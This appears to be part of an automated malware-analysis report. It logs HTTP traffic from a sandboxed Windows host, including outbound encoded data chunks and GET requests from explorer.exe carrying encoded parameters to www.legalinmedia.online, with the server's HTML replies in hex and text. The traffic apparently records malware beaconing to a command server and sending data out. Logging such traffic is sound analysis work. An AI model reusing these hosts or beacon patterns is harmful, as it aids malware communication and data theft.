Aug 29, 2023 22:45:54.859478951 CEST	924	OUT	Data Raw: 67 55 2f 78 77 39 45 69 7a 77 74 4b 30 65 79 4c 68 67 67 58 45 4b 61 4f 2f 44 43 52 72 5a 39 46 62 79 35 61 7a 57 72 53 59 36 72 48 78 51 49 44 78 4a 59 34 5a 61 68 54 69 2f 34 35 57 79 30 4e 79 44 71 6e 6d 57 4a 6b 62 2f 36 55 69 48 61 39 65 4b Data Ascii: gU/xw9EizwtK0eyLhggXEKaO/DCRrZ9Fby5azWrSY6rHxQIDxJY4ZahTi/45Wy0NyDqnmWJkb/6UiHa9eKamzcEexfj/kiOinxTDgBguuq7KDImQ5WtVaKnTpyUZLgMgs1q34aqHYA9aStHSGCsIHtYCaRq1ye7tUyPjNuGVs5aYs78F3x13wFTgHP5VmHRW4oKkxRK628vRIgwxySvqBJo1mT/6cbekTxXk1Z2ZgUx85NjlNLs
Aug 29, 2023 22:45:54.859647036 CEST	926	OUT	Data Raw: 6c 6f 53 37 4b 74 30 73 66 53 75 38 57 68 39 64 75 33 4c 38 2b 62 58 72 49 77 2f 46 39 67 76 6a 52 6b 36 53 54 32 46 52 52 57 75 4b 5a 50 42 4e 47 58 63 78 57 54 79 2b 4a 34 68 66 58 62 61 55 48 66 69 42 34 44 59 6b 4c 67 4b 59 6d 49 36 78 55 41 Data Ascii: loS7Kt0sfSu8Wh9du3L8+bXrIw/F9gvjRk6ST2FRRWuKZPBNGXcxWTy+J4hfXbaUHfiB4DYkLgKYmI6xUAq56cgBGPyy3qU2THMj8vR6RNbH7wVP723FNAg2jFSvCZMU53I5bosA1YJTqFUigJPcznmddh9UBoIQOAAWCfhvfHiLGVFxPnMGQFIjuTMXj5TWJHlZM161ufWcC1JKkoYfDKXqM6a4iH1oafEWpdtMk++pE8/nngE
Aug 29, 2023 22:45:54.859813929 CEST	928	OUT	Data Raw: 51 6e 43 54 77 73 4e 4c 79 4e 38 35 5a 77 70 5a 45 47 6f 37 4e 4e 4b 44 76 41 65 67 58 35 35 67 73 45 71 78 63 61 50 4c 63 56 61 33 50 5a 5a 54 2f 6d 4a 34 35 57 44 67 6a 57 41 4c 50 54 30 4f 53 33 66 76 62 2b 7a 65 6f 43 65 56 76 30 54 42 76 4a Data Ascii: QnCTwsNLyN85ZwpZEGo7NNKDvAegX55gsEqxcaPLcVa3PZZT/mJ45WDgjWALPT0OS3fvb+zeoCeVv0TBvJ2TmcTSpjXNfgF+QEyYeizHheGB+dWqpRcyppCyv6XLTjixtKDvOlTMt95FXyBTP0W4f8Q/gV4azSW7CuphQzJqnbEXHC4nLSynhrQbomZl9k6QZhRZxySWmEYbe1pa/cfp/d20qVrNQgessPE+SC4Toy7UD6/GgVM
Aug 29, 2023 22:45:54.902487993 CEST	930	OUT	Data Raw: 73 31 7a 33 46 39 74 52 50 73 41 62 7a 46 78 54 44 78 59 6c 4f 7a 5a 55 39 7a 45 62 6e 37 58 77 44 6c 74 4e 54 74 4f 64 35 34 6d 69 45 4c 35 39 42 68 7a 61 58 79 4e 6f 4f 52 63 51 6c 45 33 46 44 36 65 41 6c 32 6d 6f 48 4f 41 50 47 6d 63 54 4f 51 Data Ascii: s1z3F9tRPsAbzFxTDxYlOzZU9zEbn7XwDltNTtOd54miEL59BhzaXyNoORcQlE3FD6eAl2moHOAPGmcTOQIVhL083i/Si0zaYJ8sFLfDFGL+nmsZYCN3Hog2Ipgca6Zww+OwxFXP18Sj5U6Bl0+yVa6hBTbI2KjoQMJ7Rq65jUDU8GkyfCP5lfJGaZBilJj2IyAy1CoVGTkAtBGCrwIVkXNJGK68kkInTlBLKSB9IXTG2od82yE
Aug 29, 2023 22:45:54.902560949 CEST	936	OUT	Data Raw: 39 66 36 6a 79 68 41 6e 4a 65 4f 35 4b 65 6d 54 6e 61 6a 45 58 6d 54 39 55 62 65 51 4b 2f 4c 2b 6e 7a 39 44 4d 78 75 4a 4d 36 51 49 53 47 42 6d 4f 64 43 68 76 51 38 56 34 44 73 6e 65 75 74 6f 4b 43 62 65 67 6a 75 30 32 64 54 65 33 78 72 6e 4c 6b Data Ascii: 9f6jyhAnJeO5KemTnajEXmT9UbeQK/L+nz9DMxuJM6QISGBmOdChvQ8V4DsneutoKCbegju02dTe3xrnLkZfwrupQJdHtLfkxrT0M3H3V9F9bcLo9KMT6es0KMGs2/6yeOt11VS2f23fzqbTmgwnWJne7ZVOxfy5cq1+2J97LhSCMEABNI33HAZj6jtrKXfbtgFbsPCruLETm7JC122bj1Tp0Xt0ljcvkNMtKXPz+eC5+A3uxAg
Aug 29, 2023 22:45:54.902780056 CEST	943	OUT	Data Raw: 6c 4b 33 6a 53 49 52 4d 63 57 71 69 55 50 55 4f 46 63 6a 45 77 68 55 59 50 42 56 44 70 75 52 52 61 6c 73 7a 62 78 4b 62 77 6d 6e 50 37 4e 44 62 63 44 61 4c 68 35 4b 55 56 72 78 37 39 4e 39 45 46 4a 2b 6d 57 55 47 4a 53 6f 5a 6f 33 2b 4f 64 52 57 Data Ascii: lK3jSIRMcWqiUPUOFcjEwhUYPBVDpuRRalszbxKbwmnP7NDbcDaLh5KUVrx79N9EFJ+mWUGJSoZo3+OdRWVQXoSfWJpMz0/2H6jOy6G4nH37Y8i3OJ7MN3qnGArqlodDKMiZt2WdxjOBd3FUmcfzl1aLL7Q5SIIa1RqlmNj1wHdT/M+MNxPt4R6AT8//xVpt1OfLDKGtWzCRaXFDGYk/HSwWISZJYVi0eWJfE1aYsswhqPLc6/+
Aug 29, 2023 22:45:54.947040081 CEST	945	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Aug 2023 20:45:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 66 66 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e d0 9d d0 b5 20 d0 be d0 bf d1 83 d0 b1 d0 bb d0 b8 d0 ba d0 be d0 b2 d0 b0 d0 bd 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 Data Ascii: ff61<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title> </title><link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"><script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script><script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; } output.push(value); } ret
Aug 29, 2023 22:45:54.947137117 CEST	946	IN	Data Raw: 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d Data Ascii: urn output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++]; if ( (value & 0xF800) === 0xD800 ) {
Aug 29, 2023 22:45:54.947247982 CEST	948	IN	Data Raw: 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 6b 20 3d 20 30 3b 20 64 65 6c 74 61 20 3e 20 28 28 28 62 61 73 65 20 2d 20 74 6d 69 6e 29 20 2a 20 74 6d 61 78 29 20 3e 3e 20 Data Ascii: floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floor(k + (base - tmin + 1) * delta / (delta + skew))
Aug 29, 2023 22:45:54.947321892 CEST	949	IN	Data Raw: 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 20 3d 20 64 65 63 6f 64 65 5f 64 69 67 69 74 28 69 Data Ascii: e_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("punycode_bad_input(2)"); }
Aug 29, 2023 22:45:54.947377920 CEST	950	IN	Data Raw: 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 5b 69 5d 20 3d 20 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6f Data Ascii: if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.encode(output); }; this.encode = function (i
Aug 29, 2023 22:45:54.947432041 CEST	952	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a 76 20 3e 3d 20 6e 20 26 26 20 69 6a 76 20 3c 20 6d 29 20 6d 20 3d 20 69 6a 76 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 20 2d Data Ascii: if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow (1)"); } delta += (m - n) * (h + 1);
Aug 29, 2023 22:45:54.947494030 CEST	953	IN	Data Raw: 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b Data Ascii: n.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za-z0-9-]/) ? "xn--" + punycode.encode(s) :
Aug 29, 2023 22:45:54.947546959 CEST	954	IN	Data Raw: 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 32 39 35 45 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 77 72 61 70 Data Ascii: 10px; } a { color: #14295E; } .wrapper {padding: 0px;margin: 0 auto;max-width: 1024px;display: flex; flex: 1 0 auto;flex-direction: column;justify-content: spac
Aug 29, 2023 22:45:54.947601080 CEST	956	IN	Data Raw: 3a 20 23 38 39 39 34 41 46 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: : #8994AF; font-size: 10px; } .footer-links { display: grid; grid-area: links; grid-template-columns: repeat(2, 1fr); grid-column-gap: 80px; grid-row-gap:
Aug 29, 2023 22:45:54.947664976 CEST	957	IN	Data Raw: 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 34 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 34 70 78 Data Ascii: .footer-links { padding: 14px 0; margin: 14px 0; border-top: 1px solid #F3F4F7; border-bottom: 1px solid #F3F4F7; } } </style></head><body><header>
Aug 29, 2023 22:45:54.991023064 CEST	958	IN	Data Raw: 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 62 65 76 65 6c 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 Data Ascii: troke-linejoin="bevel"/> <path opacity="0.1" fill-rule="evenodd" clip-rule="evenodd" d="M248.358 132.645L251.526 132.541L261.769 137.465L309.277 133.838L321.829 125.218L308.12 118.684L260.612 122.311L251.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.11.20	50007	91.189.114.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:57.377082109 CEST	1016	OUT	GET /aw8o/?5Nag0d=csQIKxSiAps2oY2HkWP4m2UAXHoJbYdtF0OMXDtSslnXYUx4jfx20xSs5MiYBfJn4Wt0LZQ+kGwlvq1TpxG6ruHpMlvoexuWNA==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.legalinmedia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:45:57.421554089 CEST	1017	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Aug 2023 20:45:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 66 66 32 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e d0 9d d0 b5 20 d0 be d0 bf d1 83 d0 b1 d0 bb d0 b8 d0 ba d0 be d0 b2 d0 b0 d0 bd 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 Data Ascii: ff2c<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title> </title><link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"><script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script><script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; } output.push(value); } ret
Aug 29, 2023 22:45:57.421648026 CEST	1018	IN	Data Raw: 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d Data Ascii: urn output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++]; if ( (value & 0xF800) === 0xD800 ) {
Aug 29, 2023 22:45:57.421706915 CEST	1020	IN	Data Raw: 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 6b 20 3d 20 30 3b 20 64 65 6c 74 61 20 3e 20 28 28 28 62 61 73 65 20 2d 20 74 6d 69 6e 29 20 2a 20 74 6d 61 78 29 20 3e 3e 20 Data Ascii: floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floor(k + (base - tmin + 1) * delta / (delta + skew))
Aug 29, 2023 22:45:57.421761990 CEST	1021	IN	Data Raw: 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 20 3d 20 64 65 63 6f 64 65 5f 64 69 67 69 74 28 69 Data Ascii: e_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("punycode_bad_input(2)"); }
Aug 29, 2023 22:45:57.421817064 CEST	1022	IN	Data Raw: 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 5b 69 5d 20 3d 20 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6f Data Ascii: if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.encode(output); }; this.encode = function (i
Aug 29, 2023 22:45:57.421874046 CEST	1024	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a 76 20 3e 3d 20 6e 20 26 26 20 69 6a 76 20 3c 20 6d 29 20 6d 20 3d 20 69 6a 76 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 20 2d Data Ascii: if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow (1)"); } delta += (m - n) * (h + 1);
Aug 29, 2023 22:45:57.421926975 CEST	1025	IN	Data Raw: 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b Data Ascii: n.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za-z0-9-]/) ? "xn--" + punycode.encode(s) :
Aug 29, 2023 22:45:57.421979904 CEST	1026	IN	Data Raw: 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 32 39 35 45 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 77 72 61 70 Data Ascii: 10px; } a { color: #14295E; } .wrapper {padding: 0px;margin: 0 auto;max-width: 1024px;display: flex; flex: 1 0 auto;flex-direction: column;justify-content: spac
Aug 29, 2023 22:45:57.422034979 CEST	1028	IN	Data Raw: 3a 20 23 38 39 39 34 41 46 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: : #8994AF; font-size: 10px; } .footer-links { display: grid; grid-area: links; grid-template-columns: repeat(2, 1fr); grid-column-gap: 80px; grid-row-gap:
